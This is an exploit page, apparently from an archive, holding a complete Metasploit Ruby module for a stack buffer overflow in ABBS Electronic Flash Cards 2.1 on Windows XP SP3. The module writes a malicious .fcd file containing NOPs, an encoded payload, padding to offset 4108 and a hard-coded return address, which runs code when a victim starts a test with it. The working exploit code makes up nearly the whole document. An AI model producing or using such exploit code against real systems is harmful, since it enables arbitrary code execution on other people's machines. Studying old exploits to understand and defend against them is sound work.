ABBS Electronic Flashcards v2.1 Buffer Overflow Exploit (MSF)

2011-08-04 10:15:06

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability
found in ABBS Electronic Flash Cards 2.1.
The overflow occurs when an overly long string is passed
in the fcd file. To execute this fcd file the victim
has to start to start a new "random" test.
},
'License' => MSF_LICENSE,
'Author' => [
'h1ch4m', # Initial Discovery
'James Fitts' # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/16977' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
'Ret' => 0x0043cb0f, # call dword ptr ds:[eax] in flashcards.exe
'Offset' => 4108
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 14 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.fcd']),
], self.class)
end

def exploit

fcd = make_nops(50)
fcd << payload.encoded
fcd << make_nops(target['Offset'] - (50 + payload.encoded.length))
fcd << [target.ret].pack('V')

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(fcd)

end

end

Fixes

No fixes

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